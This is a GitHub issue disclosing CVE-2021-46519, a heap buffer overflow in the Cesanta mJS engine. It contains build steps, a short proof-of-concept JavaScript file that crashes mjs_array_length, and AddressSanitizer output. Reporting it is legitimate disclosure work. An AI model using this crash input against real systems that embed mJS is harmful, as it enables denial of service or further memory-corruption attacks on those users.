Headline

CVE-2021-46519: Heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length · Issue #194 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_array_length at src/mjs_array.c.

2 years ago

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hope-fly opened this issue

Dec 31, 2021

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@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

(function () {
  ((function JSEtes(a) {
    if ((a - 1)) {
      if ((isNaN)(JSON.stringify([])) !== JSON.stringify("start_port" !== [Object.create.apply({}, [Object])])) {
        JSEtes(a - 1)
      }
    }
  })(6))
})()

Execution steps & Output

$ ./mjs/build/mjs poc.js

==109503==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000000150 at pc 0x55d8ef005f6d bp 0x7ffe7d357b00 sp 0x7ffe7d357af0 READ of size 8 at 0x607000000150 thread T0 #0 0x55d8ef005f6c in mjs_array_length src/mjs_array.c:83 #1 0x55d8ef005f6c in mjs_array_push src/mjs_array.c:115 #2 0x55d8ef027dd8 in mjs_execute src/mjs_exec.c:679 #3 0x55d8ef034a05 in mjs_exec_internal src/mjs_exec.c:1073 #4 0x55d8ef034a05 in mjs_exec_file src/mjs_exec.c:1096 #5 0x55d8eeff1909 in main src/mjs_main.c:47 #6 0x7f6cb8331b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #7 0x55d8eeff2449 in _start (/usr/local/bin/Gmjs+0xe449)

0x607000000150 is located 0 bytes to the right of 80-byte region [0x607000000100,0x607000000150) allocated by thread T0 here: #0 0x7f6cb89e3d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x55d8ef0527be in gc_new_block src/mjs_gc.c:94 #2 0x55d8ef0527be in gc_alloc_cell src/mjs_gc.c:133 #3 0x55d8ef0527be in new_object src/mjs_gc.c:45

SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length Shadow bytes around the buggy address: 0x0c0e7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0e7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0e7fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa 0x0c0e7fff8010: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa =>0x0c0e7fff8020: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa 0x0c0e7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb

1 participant

@hope-fly